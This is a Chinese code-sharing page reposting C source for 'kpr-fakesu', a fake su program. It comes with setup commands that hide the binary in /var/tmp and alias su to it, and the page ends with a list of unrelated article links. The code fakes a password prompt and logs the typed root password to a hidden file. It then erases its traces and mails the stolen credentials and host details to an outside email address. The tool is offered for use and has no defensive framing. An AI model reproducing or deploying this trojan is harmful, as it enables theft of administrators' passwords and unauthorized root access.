kpr-fakesu.c Linux su密码欺骗 源码
来源:互联网 发布:大金淘宝 编辑:程序博客网 时间:2024/05/21 11:15
/* * kpr-fakesu.c V0.9beta167 ;P * by koper <koper@linuxmail.org> * * Setting up: * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c * admin@host:~$ mv .su /var/tmp/.su * admin@host:~$ cp .bash_profile .wgetrc * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile * admin@host:~$ logout * *** LOGIN *** * admin@host:~$ su * Password: * su: Authentication failure * Sorry. * admin@host:~$ su * Password: * root@host:~# logout * admin@host:~$ cat /var/tmp/.pwds * root:dupcia17 * admin@host:~$ * * /bin/su sends various failure information depending on the OS ver. * Please modify the source to make it "fit" ;) * */#include <stdio.h>#include <stdlib.h>main(int argc, char *argv[]){FILE *fp;char *user;char *pass;char filex[100];char clean[100];sprintf(filex,"/var/tmp/.pwds");sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/hiroot/.wgetrc /home/hiroot/.bash_profile");if(argc==1) user="root";if(argc==2) user=argv[1];if(argc>2){ if(strcmp(argv[1], "-l")==0) user=argv[2]; else user=argv[1];}fprintf(stdout,"Password: "); pass=getpass ("");system("sleep 3");fprintf(stdout,"su: Authentication failure.\n");if ((fp=fopen(filex,"w")) != NULL) { fprintf(fp, "%s:%s\n", user, pass); fclose(fp); }system(clean);system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");/* If you don't want password in your e-mail uncomment this line: */system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail hirootmail@qq.com");}
代码要根据实际情况,稍微改下才能使用。
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/hiroot/.wgetrc /home/hiroot/.bash_profile");
- kpr-fakesu.c Linux su密码欺骗 源码
- linux普通用户su 到root免密码
- linux普通用户su 到root免密码
- linux普通用户su 到root免密码
- linux普通用户su 到root免密码
- 阅读Sofia-SIP源码 - su模块 - su.c
- Linux su 与 su -
- Linux-su su -
- 阅读Sofia-SIP源码 - su模块 - su_default_log.c/su_global_log.c
- linux--su
- 阅读Sofia-SIP源码 - su模块 - su_log.c/su_log.h
- 阅读Sofia-SIP源码 - su模块 - su_alloc.c/h
- ubuntu su 密码
- ubuntu su 密码问题
- ubuntu su 密码
- ubuntu su 密码
- ubuntu su 密码
- ubuntu su 密码
- selenium WebDriver 获取disabled文本框内容
- hibernate二级缓存配置文件
- 备忘日志【四】
- AjaxPro命名空间未定义
- ubuntu11.10下安装Nodejs
- kpr-fakesu.c Linux su密码欺骗 源码
- Kohana使用auth模块session_type选择database时无法写入session的问题解决
- Microsoft Visual C++ 6.0 软件的常见问题
- Zabbix监控MongoDB数据库状态
- log4j配置
- 我们应该如何对待开源?——看完ssh有感
- 第13周任务3
- windows下文件夹的备份
- printf中的short int, int, long int和long long int